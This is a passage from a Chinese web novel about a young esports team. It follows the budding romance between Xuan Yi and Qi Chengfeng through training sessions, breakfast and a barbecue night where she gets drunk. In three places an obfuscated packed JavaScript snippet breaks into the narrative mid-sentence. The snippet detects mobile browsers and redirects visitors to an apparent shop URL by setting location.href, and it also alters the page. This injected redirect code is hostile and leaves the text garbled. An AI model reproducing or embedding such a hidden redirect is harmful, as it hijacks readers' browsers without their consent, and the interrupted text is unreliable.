任宙上车时,车里一片死寂,全都低头看着手机,她轻咳了一声开腔:“我都说了,你们这一局的目的是了解Wolf的思维打法,因为一场输赢这样,这点承受能力我下一场还敢让你们上场吗?” “输了,就要找原因,刚才那一场……“” 任宙半安慰半复盘地讲起刚才的比赛,车内气氛才总算得以缓和,宣依听着望向窗外。 手机又一次传来消息震动,她才垂眸打开了手机,默扫过弹来的微信消息。 【7:第一场的团战我不该残血还上,最后一波应该撤退守塔;第二场我不该顺着你的话不发表自己的看法意见;第三场虽然赢了,但是那波团战我回头来打射手和法师的行为确实很不明智】 这段话是齐呈枫上车坐下后发来的,下面衔接上了刚发来的猫猫可怜表情包,这表情包还来自宣依。 看着屏幕中随着波纹特效荡漾的小猫,宣依不自觉代入那张傲娇冷淡的面庞。 【别什么都往自己身上揽】 这句话发出去后,像是什么默契一般,宣依抬眼看向齐呈枫的座位,而齐呈枫也在半秒后从椅边探出脑袋回望过来。 他漆黑的眼眸在对视间染上笑意,一点一点愈加明显。 随后,他眉头皱了皱扬起一份委屈的模样张口。 一段距离的模糊下,只能依稀辨认出那个口型——“我错了……” 宣依对后面几个字模糊的口型估摸了几种答案,都不太像,便直接低头打字【后面三个字是什么?】 这一幕猜口型让宣依的记忆蓦地回到他们第一次看比赛的那个下午。 很多细节都已经模糊了,她甚至已经不记得这件事了,只是前几天翻看微博时偶然刷到了那个片段。 未经剪辑的直播被播出来这一段太过寻常,再加上CY后来的表现,很多场比赛都被翻来覆去地点开过,作为一支新战队,比赛并不多,于是很多采访早期直播也被一并扒了出来。 视频里,两人紧靠在一起的并排座位,齐呈枫的目光随着主持人的那句话侧眸瞧了眼身旁的宣依,虽只有一瞬,可强烈的对比让那份爱意无处遁形。 当他再看向主持人时,宣依又扭头看向了他。 两道只差几毫秒的目光错过却掀起了好一番热议。 最后,他对着镜头淡淡的留下三个字的口型。 那时宣依就坐在他的身侧,却也不记得他到底出声没有,到底说了什么。 只记得那条视频下有一条高赞评论【唇语十级!绝对是“还不是”!】 —— “这位女生是你女朋友吗?” “还不是。” 手里的聊天界面恰时弹出回复。 【我错了,女朋友】 宣依从表情包里戳了一个可爱的猫发过去,叩下手机不自觉露出笑意望向窗外。 流动的车景里,她察觉到身旁的气息,回头看去。 齐呈枫勾着腰,一手扶在前座的椅背上,一手撑在宣依的椅背边,将她包围在身下的座位里,见她投来目光,又往下弯了些腰:“前面空气不太好,想坐里面。” 宣依调侃着看向他刚才坐的位置,点点头:“那你坐吧,我不挑,我去前面。” 话落,脸颊一点湿润染下,宣依错愕地抬手抚脸看向他。 “我挑,”齐呈枫偷笑,目光从她的唇点点上移,与之对视,“就只喜欢你周围的空气。” 宣依抚在脸颊边的手在这道目光下挡住了唇瓣,偏脚让出位置:“勉勉强强允许了。” 齐呈枫坐进靠窗位,偏头看向她:“你知道我在想什么吗,就允许了。” “我想亲你。” 程舟从座椅间夹着脑袋惊呼:“唔!” “原来你是这样的呈枫!” 宣依像个事不关己地旁观者般应和着程舟,摆着头连叹:“啧啧,原来齐大少爷喜欢玩这套。” 听着两人暧昧的调侃,程舟还准备说什么,就被齐呈枫的力道推了回去,再回头时,齐呈枫已经旁若无人地搂过宣依的后脑勺,微微侧头,脑袋挡住了探来的好奇目光。 一个热吻落下。 不似第一次的蜻蜓点水,也没有持续很久,只是吸吮了两下后轻咬了下她。 齐呈枫顺着宣依推动的力道松懈地靠在了车窗上,看着宣依羞赧的模样,抬手揉了揉她的头:“确实喜欢这套。” 一个精心扎起的马尾被揉得糟起几根短发,掉在脸颊边,宣依抬手一摸,皱起了眉:“齐呈枫!我扎马尾和丸子头的时候不许摸我头!” 说着,她取下发圈,抬手拂过眉前的刘海将它们一股脑顺上去,两只手估摸着高度,又左右顺了两下。 “依依。” “干嘛?”宣依垂着脑袋,语调有些不耐烦。 “我可以帮你扎吗?” 宣依握着头发的动作顿住,须臾手上一松,将套着发圈的手伸向前:“那你扎吧。” 因为发圈的固定,此刻一松手,蓬乱的头发披肩落下,车窗外撒下的阳光落在她的碎发上,泛着点点金光。 她微微蹙着眉,伸向齐呈枫的右手纤细得套在腕上的发圈都有些松垮。 齐呈枫扶上宣依的指尖,另一只手取下发圈套在三指之间。 宣依扭头前看了眼他熟练的动作,什么也没说。 感受着侧边的身躯往自己身旁挪了些,手掌附在了头发间,柔和地抬手别过每束头发,靠近耳畔观察时夹起一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13306551|131584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缕碎发轻声道:“齐溪之前总喜欢玩我头发,就连剪头发都是她操刀,次数多了我也就略懂些了。” 怕说得不够明确,话尾他还补充着:“除了齐溪,没给其他女孩扎过了。” “嗯,”宣依低声回应,抑着心中的喜悦将语气压得格外平淡,“我又没说什么。” 齐呈枫卷着她的头发挽起,绕了两圈后套上发圈,宣依感受着结束的扎发准备回头时,头顶的力道将她微微固住,能感受到卡上了一块什么。 “好了。” 宣依抬起手机,透过灰掉的屏幕看着齐呈枫盘起的丸子头,炸出几缕没什么规律的碎发,却依旧好看。她捏着手机左右晃荡观察了一下,满意地收起手机,抬手去将齐呈枫卡上的发夹取下。 屏幕里看不出颜色,只能模糊看到个形状。 是一枚四叶草发夹——三片绿色的,一片透明的。 看起来和手链是一对。 “喜欢吗?”齐呈枫问道。 宣依捏着掌心看向他:“你为什么总送四叶草啊?” 齐呈枫逃避了她的目光看向车窗外,但关于宣依的问题,他总是有问必有答:“四叶草,希望和幸运。” 曾经,他将这份希望包装成礼物,等待她的回应;现在,他将这份幸运赠予她,希望从今往后的幸运都能分她一半。 愿幸运与她常伴。 也愿她与自己常相伴。 - 夜深,齐呈枫靠在枕边,程舟爬上铺时无意瞟间他的手机页面。 程舟顿住爬楼梯的脚步弯腰垂下身,眯着眼睛确认了一下:“你在看之前BTG和Wolf那场?” “嗯。”齐呈枫自然地承认。 程舟心里刚念叨起真努力,就看见他是竖排观看的短视频界面:“这场比赛群里不是有吗,你怎么还在微博来翻?” “十点半了,你还不和你的猪猪侠双排?”齐呈枫淡然地中断了程舟的好奇心。 程舟听着,踏在阶梯上便划开了手机上号:“多谢提醒。” 得一片安静,齐呈枫点开了评论区。 那条唇语高赞的评论排在前列,齐呈枫翻了两下便翻到了。 展开那条评论,紧接着是一个到处磕CP的粉丝留言【我磕的CP都是真的:那个时候不是,现在呢?】 齐呈枫当时便用自己的号回了一句“不是”,只是那个时候众人都觉得是路人甲,追问了几句便没了后续。直到那次的道歉,这条回复又被炸了上去,热度甚至超过了视频本身的热度。 【不是猎手:我就说!我们Hunter独美!超美!绝美!】 【一叶落秋:我还Archer独帅!超帅!巨帅诶!】 【我磕的CP都是真的:你俩难得不觉得就连这名字都绝配嘛!】 …… 齐呈枫看着这些评论,挂上笑意。 顺着这个CP粉的评论回复道【现在是了】 这个CP粉居然在线还直接秒回了【!!!啊啊啊啊】 齐呈枫看着最新回复里布满的“啊”字,收起和她一般激动的心在屏幕里头一脸肃穆地输入【但名字不是情侣名,她有自己弘远目标,不容忽略否认。】 他们之间的玩笑,齐呈枫却并不搬到台面上让众人欢腾。 毕竟,这是属于宣依的一方世界。 而他,是这方世界最虔诚的守护者。 63. 这是第六十三章 一晚的冷静过后,众人的心态都平稳下来。 接受一场游戏的输赢并不难,他们之前也输过很多次,只是刚进入S组就经历这样的打压自然有些心焦力卒。 齐呈枫早起去包子王给众人买了早餐,接过满满几袋的早点,齐呈枫站在门边的桌子稍加整理,大多数都挂在右手上,左手只留了一份特定叮嘱分开装的包子和豆浆。 明媚的晴天已经早早拉开黑夜的帘,灰蓝的天际一轮弯弯的月牙隐约装点着这抹色彩。 还未燥热起来,齐呈枫提起两手的东西转身。 恰逢蓬乱头发,揉着朦胧睡眼准备进门的秦珠。 两人目光撞上,秦珠下意识吐了个“早”。 视线往下一挪便看见那满袋子的早餐,打了哈欠:“谢谢齐少大早上光顾我们生意了。” 齐呈枫的视线从门外背对着店面低头看手机的背影收回,垂眸扫了眼身前的人:“你们来买早餐?” “嘿嘿,”秦珠笑笑,“自家店怎么能说是买呢?” 她招呼了声店员,径直到一侧的粥点处取了两个打包盒打了碗南瓜小米粥,抬勺准备打第二碗时回头瞥了眼齐呈枫:“齐少来碗嘛?” 齐呈枫摆摆头,准备离开时却又想起什么,回头走向粥点处,看着两份粥,开口:“依依喜欢吃这个?” 两碗小米粥打包好,秦珠将盖子盖上装进了塑料袋里:“也算不上喜欢吧,但比起你手里的肉包和豆浆,我的粥自然更胜一筹。” 齐呈枫在这句话里提起左手的包子豆浆打量了一番,不禁皱了皱眉。 他不喜欢吃这些,少有的接触里难免会有浪费,但宣依给他买的那一次,他吃完了。 那时他想着,是宣依自己买的,她总归是喜欢的,于是想尝试一下她喜欢的东西,但依旧难以接受。 沉思里,他将右手的早点分了些到左手。 感受到身旁脚步的停留,宣依收起手机转身:“走吧。” 在前后交错的站位里,她的视线却优先落在了后方的齐呈枫身上。 “给我也买了?” 齐呈枫捏着手里的塑料袋,没法将这么多藏在身后,便转了话锋:“秦珠给你打包了小米粥。” 秦珠便抬手小幅度晃了晃手中的两盒粥,另一只手挽起宣依:“走吧。” 齐呈枫跟在她们身后,看着俩女生相依偎的背影,宣依扎着松垮的马尾,安安静静地走着,只剩秦珠时而高昂的音调在讲着什么。 他就默默跟在两人身后。 三人进网咖时,其他几人已经坐在了门边几排转椅上,程舟优先迎了上来:“枫啊,我等你等的好苦。” 齐呈枫了然地将那堆早餐放在了几人之间的桌子上。 宣依和秦珠走向前台和昨晚值班的男生换了班,宣依拉过张椅子坐下。 听见那头的讨论。 程舟嚼着包子,含糊不清地询问:“呈枫,你不吃啊?” “这么多,吃点呗。”魏晟拿起其中一袋,向前递。 齐呈枫压低了声音,但宣依还是听见了。 “你们吃吧,我吃过了。” 宣依揭开打包盒的盖子,低头吹了一口热腾腾的粥:“你去的时候齐呈枫已经在那儿了?” “嗯,”秦珠小啄了一口,便放下勺子将前台的小风扇拉过来,“他刚打包好准备走就碰见了。” “他吃的什么?” “他有吃吗?”秦珠扑腾着热乎的粥思索了半秒,便否认了,“他没吃吧,我们去的时候他应该刚排到队打包好。” “我就知道。”宣依低头刮过表面一层的粥。 副队的一个队员进来瞅见这边的热闹也凑过来蹭了两个包子,一桌的早餐就这么轻易被消灭了。 宣依将吃光的打包盒盖好丢掉后起身往热闹处走去:“齐呈枫。” 他们俩的关系倒也没经过一场正式的官宣,但大家都心照不宣地推搡了下齐呈枫,将他挤出群聊。 齐呈枫跟着宣依进了训练室。 一边是拉下的百叶帘,另一边是朝向街道的单向玻璃,齐呈枫看着那抹身影,在宣依抬手准备开灯的一刻握住了她的手腕向身后的玻璃门带,借着她的手将门推回。 又拉着她的手转身将她抵在了玻璃门上。 “齐呈枫。” 冷淡的语气止住了齐呈枫靠近的动作,往后撤了一步。 “为什么要撒谎?” 齐呈枫愣了愣,脑子将这些日子一系列的话回放了一遍,木楞地开口:“我没撒谎啊。” “你总不能在说脚踏两条船的事吧?” “我说的是早餐,”宣依抬手开了灯,坐到沙发上仰视着齐呈枫,“明明没吃,为什么要说吃了?” 齐呈枫没想到把他单独拉到一边就是问这么件鸡毛蒜皮的小事,扯着笑容在宣依面前蹲下身:“我那不是不喜欢吃嘛,你没来之前我都不怎么吃早饭的,多大点事。” “不喜欢吃那些嘛。”宣依低声呢喃。 “还好,太油腻了,”齐呈枫捏着宣依的手摩挲,“我也不知道为什么你当初要给我买那些,那我总不能拒绝你吧。” “我看班里男生都争着抢着,大早上吃三四个……” “依依,你为什么去十九中?” 关于这个问题,在秦珠带着他们路过十九中时就想问,只是那时他并没有一个合适的身份。 话题的跳跃让她一时没反应过来,只是顺口地疑问:“啊?” “为什么,明明分数够了却去了十九中?” 宣依的手跟一紧,力道作用在了齐呈枫手指上。 她慢半拍地反应过来,手一松下意识想逃脱,却被齐呈枫的身躯困住动作。 齐呈枫看向那缩到沙发垫上的手掌:“不可以告诉我吗?” 她沉着头一言未发。 “宣依,”齐呈枫的语气冷了几分,像是失望却在两种语调的对比里显得有些委屈,“我也不知道怎么谈恋爱才对,但至少不应该像现在这样,不喜欢的东西宁愿接受也不直说,不开心的事情一瞒就是一辈子……” 他抬眸看向她,想要说的话又咽了回去,抬手揉了揉她的后颈窝,抵上她的额间:“算了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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画面播放到这一幕的时候,程舟揽过责任:“我没看兵线直接走了,下次注意。” …… 复盘结束又进行了几场内战,第一场的前期宣依不太在状态打了把逆风局,但对于他们而言打这种逆风局也格外有意义,所以并没人对宣依的指挥有所质疑。 但第二场开始,齐呈枫还是开了口:“依依,这把鸣哥指挥?” 宣依也自知心有旁骛,“嗯”了声。 不再需要时刻纵观全局,她的视野便大多落在了齐呈枫身上。 让她想起当初和栖枫一起打游戏的记忆,她喜欢玩打野,栖枫就总拿辅助,拿各种各样的辅助跟她。 用钟馗时,打乱对面打野节奏,把残血拉到她面前给她人头;用蔡文姬时总把大招捏在手里留给她;用瑶时跟射手的同时又总及时出现为她挡技能。 那样一个冷冰冰、对游戏也是可有可无的人为什么会在和从那之后沉溺于一个游戏里,有很大一部分原因便是 ——游戏里有他。 64. 这是第六十四章 连着几把游戏,宣依眼睛有些耐不住在又一场结束后靠在椅背上,抬手用掌心揉了下眼睛。 齐呈枫瞥了眼,预选了一个英雄后便起身离开了座位。 宣依扶着眼角回头探去:“你去哪?” 齐呈枫顺手揉了下宣依的脑袋:“没事,去拿点东西。” “我预选了,你帮我确认一下就行。” 等他回来的时候,刚好选英雄环节结束,宣依揉揉眼捏捏鼻梁骨,又调整了一下坐姿。 眼前落下一瓶眼药水。 “滴两滴,我才开始打的时候也这样,”齐呈枫坐下身套上耳机,“这把打完差不多就结束了。” 宣依拿起眼药水,扬起头,往眼眶里滴了两滴,又闭上了眼。 耳机里传来进入加载页面的动态声音,她沉沉的呼了一口气,独自呢喃道:“好累啊。” “坚持一下咯依妹,”程舟依旧元气满满地接话,“这把打完就吃饭了。” 但齐呈枫却在这刻扭头看向了她。 仰着脑袋,面色淡然地闭着眼,松懒的低马尾搭在右侧肩上,她肯定听见了耳机里的话,却半点反应都没有,依旧闭着眼。 但当游戏进入响起了英雄就位的声音时,她又迅速坐正了身子睁眼捧起手机挪动操纵杆。 她对认定的事总抱有必胜决心,而她这声累,不知饱含了多少消极情绪。 却也只是一句感慨,进入游戏后她又和往常一样,精神焕然地随中路清第一波线:“小明好像跟的打野,呈枫你对李元芳稍微猥琐一点,我这轮先游走支援。” “好。”齐呈枫应声。 她明明只是一个辅助,却将每一条线的情况都分析得清清楚楚,就连那些猜测她也一点不落地告知每个人。 可两个多月前,她还是个多说半个字都嫌多,拒人千里之外的性子。 这些事情因为那声“累”一点点理成一条故事线落在齐呈枫脑海里,他在一波兵线结束的空闲里又扭头看去。 视线还没完全偏转过去,耳机里就传来宣依的提醒:“打野和小明下去了,你往塔里撤一下,我和鸣哥下来了。” 他便偏回视线,拉着摇杆往塔下撤。 一整局,他都未能看见宣依打游戏时到底是怎样的情绪。 比赛结束。 众人纷纷起身,伸着懒腰往门外走。 宣依取下耳机呼了口气,又松散下来合了眼。 身后陆续走过的身影询问了几句,她只是摆摆手:“你们先去吧,我休息会儿。” 训练室沉静下来,一声沉沉的呼气声落地,她闭着眼抬手去摸桌角的眼药水,刚往上送就被一股力道握住了手腕:“不能这么频繁用。” 兴许是过度揉搓眼睛,宣依侧目看来的眼眶泛着红润:“你没走啊。” “我走了,留你一个人在这儿?”齐呈枫转过椅子,往前拉了些,双指按在她的眼眶边顺时针揉了揉,“我宿舍有蒸汽眼罩,下午休息的时候带着。” “齐呈枫,你真好。”宣依在柔顺的力道里合上了眼。 感受着带着丝冰凉的指尖附在眼眶边又挪到眼睑下方。 放松下来的一切,让宣依有些的声音淡了些,像是自顾自地念叨,但因为齐呈枫的存在,更像是在和他讲故事,讲那些自己不愿提及的故事。 “我好像回到了小时候一样,靠在凉椅上,吹着晚风,天上布满了星星……那时候就像此刻一样美好。” 宣依缓缓睁开眼,齐呈枫的手一顿收了回去。 她并没有看向齐呈枫,只是呆呆地仰起头顺着视线看向白茫茫的天花板:“齐呈枫,你知道吗?” “那天你帮我出头的时候,我脑子一片空白甚至鼻子有点酸,但是我不想哭,我就捏着自己掌心让自己清醒,什么你没承认自己是栖枫都是借口……我只是不知道该怎么面对你,无论是当初还是现在,你总能在我脆弱的时候成为我的盾。” 她看向他,眼波流转。 “明明你什么都没做错,我却还要你来哄我……” 齐呈枫伸手揽过宣依的肩膀往怀里带,另一只手扣住她的脑袋让她靠在了自己的肩膀上:“傻瓜,哭是很正常的情绪啊,想哭的时候就哭呗,我在呢,无论如何我都给你撑腰。” “呈枫!还不……”程舟推开门,看着两人的身影,催吃饭的话都咽了回去,把门又合上。 齐呈枫懈了力,一点点放开宣依看她眼角那挂泪痕,抬手用拇指拭过,柔声问:“哭饿了吗?” “我就打了个哈欠,没哭。”宣依自己也抬手擦,动作蛮横些,像是在为自己眼泪辩解一般。 齐呈枫偏头,眉目的无奈无声地叹息着自己刚才一堆话有个屁用,但因为黑眸里映着一个小小的她,这份无奈显得过分宠溺。 宣依瘪瘪嘴,却不收回自己的倔强:“有点。” - 一天的训练落了尾,众人精疲力尽地伸着懒腰说要去组团吃烧烤。 秦珠挽着宣依的手融在队列里,齐呈枫提着宣依的挎包跟在旁边。 “依依,你不觉得你旁边那位有点碍眼嘛?”秦珠凑近宣依,低声吐槽道,“我都不好和你讲话了。” 宣依了然地扭头扯了下齐呈枫的袖子。 他扬眉看向她。 “你不是不喜欢吃烧烤吗?”宣依还扯了个完美的借口,“这么多人不会有什么的,你不用勉强自己。” 晚风拂过她鬓角碎发,今晚的她只是松松垮垮挂了一根电话线发圈,此刻大半的浅发都已经凌乱在微风和漫步里。宽松的白短袖露出一大块脖颈,锁骨线条也连带显露大片。 宣依并没在意这些,炎炎夏夜里最简约的穿搭却在月色下被她的慵懒营造出了不经意的诱人。 “我什么时候说过不喜欢吃烧烤了?” 说完他才反应过来,什么时候出了这档子乌龙。 “你,”宣依拧着眉头犹豫了两秒,还是脱口,“记性差到连自己不喜欢吃什么也可以忘?” “哦,那就是现在喜欢了。” 宣依无奈地耸肩转头和秦珠说:“赶不动。” 喧嚣的胡同小巷子,油烟味浓厚,一行人轻车熟路地绕过一家家嘈杂里老板的揽客,在一家生意不上火爆的烧烤摊找了张长桌搁下东西占位。 几个男生直奔烤串架,端着两个盘子抓着一把就往里放。 齐呈枫也混在其中,他的动作要随意些,独自端着一个盘子驻足在一个架子前良久,左右扫荡一遍又低头往下面几排扫。 “依依,”秦珠的手掌晃过她眼前的事物,摆摆头,“你要不要也一起去选?” 宣依目光落在齐呈枫弯腰拿起的几串香菇上,放在盘上后,又挪了两步拿起几串娃娃菜。 难怪慢吞吞的。 “不用了,你去选吧。” “我的,有人替我挑了。” 那双漂亮的杏眼下隆起卧蚕,笑意将那稚嫩的模样撑起,秦珠在这份笑意里有些出神……她笑起来这般好看,这才是她该有的模样。 秦珠内心多少是有些烦齐呈枫的,但看见宣依这份笑容时,那些私人情绪再也不重要,宣依开心就好。 齐呈枫挑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376216|131584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一会儿,扭头看过来。 隔着喧嚣的一桌子烟酒气,两人的目光对上,齐呈枫无声地挑起眉梢,扬了下手中的香菜牛肉串和折耳根牛肉串。 宣依耸起鼻尖,摇摇头。 齐呈枫又转身拿了串泡椒牛肉串扬手。 宣依两手交叉,比出一个大大的叉。 齐呈枫在一群人叽叽喳喳的挑选里笑容可掬,几个人挑选的动作停下来看向他,秦珠看见他手里握着的几串烧烤摆摆头:“我们依依就这几样不喜欢吃,你还全踩一遍。” “我知道,”齐呈枫收敛了笑意随意往盘子里放了几串,临走向烧烤架时轻描淡写道,“但那儿就坐她一个人,她会无聊……” 他抬手从单独的架子上拿了碗锡箔豆腐:“我得逗逗她。” 将东西都交给烧烤师傅后,他便往座位走。 身后是慢半拍的秦珠凑上去跟师傅嘱咐:“这一份不要孜然,少辣……” “还不要葱花,单独装,”师傅点着头,忙碌在手中的一大把烧烤上,“我记得住,放心吧妹儿。” 齐呈枫瞧了眼她,淡然地收回视线落座在宣依身旁,他抬手揉了揉宣依的脑袋柔声问:“无聊怎么看手机?” 宣依随着他落下的手掌低下头,抽了双一次性筷子玩起包装袋:“眼睛疼,想休息一会儿。” “现在还疼?” 没看他表情,但宣依大概能猜到,此刻他皱眉几分焦灼的样子。 “不疼,”宣依扭头确认了一番,一如所料,“主要是想偷偷看你。” 她重新别了头发,扎起凌乱的低丸子,脖颈线条分外明显,比起刚才毫不相干的话题,此刻这句带着极致暧昧的话就像在引诱他一般。 “依依,”齐呈枫别开头,不知怎么也拿起一次性筷子盘弄,“我们真是遇到个不太好的季节谈恋爱。” 他原本想慢慢来,就连接吻他都想在一个天时地利人和的时间点进行,可是燥热的天气,血气方刚的年纪,她寸寸毫无目的却带着诱惑的肌肤都令他冲动战胜理智。 宣依刚“嗯?”了声,熟悉的指腹搂住她的脖颈,动作粗鲁到将她本就松垮扎着的低丸子又弄散了些,她还没来得及因为这个动作皱眉,一个吻便落在了她的唇上。 只一瞬,她刚皱眉,便撤销了。 喧嚷的烧烤摊贩没人注意到这边的动静,也没人注意到昏暗夜色里主动的少年耳廓上那无法掩盖的红。 宣依慌乱地沉头,扶着自己的脸颊。 他们明明亲过那么多次,可毫无预兆的吻却依旧让她招架不住,每次手掌落在滚烫的脸颊时,她都在内心一遍遍吐槽自己没用。 不就是亲一下吗? 不就是两个嘴巴贴在一起一张一合的事吗!? 想着,她放下手,两眼一闭捧过齐呈枫的脸,鲁莽地落下一吻。 这一吻四周的空气都沉重了几分。 宣依便匆匆结束了这个吻,睁眼时先入眼的是齐呈枫诧异的瞳孔,然后一点点感受到了身边的异样。 挑拣完烤串的一群人站在齐呈枫身后,张着嘴却一点声音没有。 凌一鸣一点点回过神,感叹:“我们家小辅助确实……牛逼。” “嗯,牛逼!”几个人也跟着应声。 这里面还有并不太熟悉的副队成员以及几个刚战队的新人。 宣依羞耻地蒙住了自己的脸,却听见齐呈枫的笑声混入了这片起哄里。 她抬手指向他的脸:“不许笑!” 齐呈枫就握上她的手:“好不笑,这么听话可以奖励个亲亲吗?” 65. 这是第六十五章 在其他人眼中,宣依和齐呈枫俩人都是冷性子,给人一种吵架后可以进行三天三夜冷战却不会有人提分手的认知。 但听到齐呈枫这话,这种认知便被打破了。 一个总是沉默着无所谓的人会用这种语调逗引她忘却周遭的视线。 宣依将手掌移开脸颊时,众人已经若无其事地坐在了位置上。 等待烧烤的时间里,桌上都沉默地各玩各的手机,偶尔几句交流是分享手机里有意思的视频,但宣依可能是真的眼睛有些疼,并不太想看手机,垂头继续摆弄着那双一次性筷子的包装袋。 齐呈枫挪了下板凳,点进了那个五人群聊。 【@程舟,提个饭桌游戏,无聊。】 消息发出后,几束目光不约而同地看向齐呈枫的方向。 宣依敏锐察觉后也顺着他们目光看向齐呈枫,但身旁的人却没什么感觉一般继续玩着手机。 那么多灼热的视线却只感受到宣依的一般,闲懒的腔调泛着些许倦意:“怎么了?” “他们在看你。”宣依回答。 “哦,长太帅了没办法,”齐呈枫指尖滑动着屏幕,几个人收回了目光,却难掩有些震惊地沉入手机屏幕,“那你呢?” 宣依不太清楚发生了什么,看着几束目光齐刷刷扫来又齐刷刷收回,不仅对这个行茫然,对齐呈枫突然的问句也一脸懵:“什么?” “他们看我是因为太帅了,你也是吗?” “自恋。” 齐呈枫低笑着瞟了眼屏幕里瞬间被淹没的红包记录,程舟终于从百度脱身提了个游戏:“来玩游戏呗。” 众人对手机里的内容多少也有些厌倦了,听到程舟的主意你一句我一句附和着。 “玩什么呢?” 有人问了关键的问题。 “没什么道具,就数字炸弹呗,”程舟脱口预备好的答案,“中了的喝酒。” 隔着半张餐桌,程舟见齐呈枫皱了皱眉,又改口:“不能喝酒的,就回答个真心话。” 宣依听着这突兀的改口,一下就串起来,扭头看向齐呈枫,挑起眉梢:“你的主意?” “我家依依越来越聪明了,”齐呈枫淡然地接受了宣依轻易猜到的结果,“这也能猜到。” “再说一遍,是我家依依。”秦珠偏下脑袋看向齐呈枫。 程舟的声音打破了这头的争吵:“没意见,就开始咯?” 说完他便起身去找老板要了两件啤酒,把店里写促销的闲置画板也拿了过来,他随手写了个两位数上去:“那就从一哥你们那边顺时针轮过来。” “3。”看着程舟的笔画也可以大约摸清楚他写的数字。 “三到一百。”程舟应和着轮向下一个人。 不知道是不是都看见了他的笔画,范围一缩再缩,再次轮回宣依时已经避无可避地剩下一个数字,但程舟还是走流程地开口:“36到38。” 宣依吐了口气,附身去拿放在他们这侧的酒箱里的酒:“37。” “boom!”程舟还为这一刻配上了音效,笑着问,“真心话还是喝……” 话还没说完,宣依已经捏着开瓶器开了一瓶往杯子里倒了。 齐呈枫向前伸手,被宣依躲开灌满杯子后一口闷了:“就一杯而已,不至于。” 对面目睹这一幕的男生齐齐鼓起掌:“帅,依姐帅!” 宣依微微扬起下巴有些自豪地露出笑意。 齐呈枫皱着眉往对面看去,那群人一下收敛了起哄声:“再来再来。” “舟儿,你不行,我来当裁判。” 板子换到一个人手中,他背过身去写数字。 宣依扯了扯齐呈枫衣角:“你干嘛凶他们?我不帅嘛?” “我什么时候凶他们了?” 齐呈枫还没意识到宣依喃喃的声音软绵绵的。 “你明明就有,你这样……”宣依模仿起齐呈枫恶狠狠的眼神,微低下头看向他露出下三白,“就很凶啊。” 齐呈枫看着宣依这副模样,眉宇轻拧。 “就是这样!”宣依伸出手指点在他的鼻梁骨上,“你还要凶我。” “但是我不怕你。” 齐呈枫隔着宣依戳了下秦珠:“她一杯倒?” “我家依依酒量很好的,”秦珠晃晃食指,“你别操心这个了。” 齐呈枫不可置信地重新将目光落在宣依身上:“你之前喝过酒?” 宣依听到这个问句,眯起眼睛耸着鼻尖似是思索起来,良久另一边都开始报起数字她才慢吞吞回答:“不记得了,好像喝过。” 得,不仅一杯倒还喝了就断片。 数字又经过秦珠轮到宣依,她咿咿呀呀回过神问几到几,齐呈枫就替她随口答了个“17”。 “boom!”裁判欢呼道,“你俩口子真是……” 感叹的话咽了回去,齐呈枫一口闷了宣依倒剩的那瓶酒在黑夜里扬了扬空酒瓶:“我先送她回去了,她的那份烧烤每样给她留点打包。” 然后扶起宣依,单手捏着手机在群里发了笔两百的转账:“我和她A的烧烤钱。” 宣依在齐呈枫的怀里仰起头:“回去了吗?我还没吃到你选的烧烤呢。” “要送个小醉鬼回家。”齐呈枫揽着她准备走。 秦珠转过身跟随上目光:“我记得依依酒量很好的啊?” “可能退步了?”齐呈枫也不太清楚什么情况,但宣依这副模样着实是醉得明显。 宣依点点头,低头跟秦珠挥挥手:“拜拜,小珠珠。” 两人都走出好一段距离了,宣依突然立定:“糟了!” 齐呈枫弯下腰看她:“怎么?” “你送的小醉鬼没跟上。” 齐呈枫无奈地摆摆头,抬手揉了下她的脑袋:“跟上啦。” “哦。”宣依又继续被齐呈枫的手臂带着往前走。 刚走出巷子,宣依又停下步子:“我的包包忘记拿了。” 齐呈枫晃了晃那个缠在手掌上的挎包:“拿上啦。” “哦。”宣依又卸下力往齐呈枫怀里凑了几分。 她的脑袋就靠在齐呈枫的肩前,目光落在白色帆布鞋的步伐上,两双白鞋整齐地迈着左脚右脚,宣依看着这一致的步调忽然提上笑意。 齐呈枫扶着她,感受着胸膛里微微颤抖的身躯,他低头瞧去,见她扬起的嘴角捏了捏她的肩:“笑什么呢?” 宣依也抬起眸子看他,笑容更灿烂:“小枫枫,你听过一句话嘛?” “小枫枫?” “不可以这样叫你嘛?”宣依质疑地眯起眼睛。 “你喜欢就行,”齐呈枫宠溺地揉着宣依的后脑勺,弯腰让她仰头的目光不那么费劲,“你准备说什么呀?” “昂,”宣依跟随着他俯下的视线,莫名泛上困意,糊涂的问句里她不明不白地凑上句,“我有点困了。” 话刚说完,她就垂下眼皮,脑袋倒在了齐呈枫怀里。 路灯拉长两人相依偎的身影,齐呈枫叹了口气对身前醉醺醺的女孩无计可施,一只手环住她的手肘,一边稳着她一边绕到她身前,弓腰让她靠上自己的脊背。 微微弯了些腰将她背起。 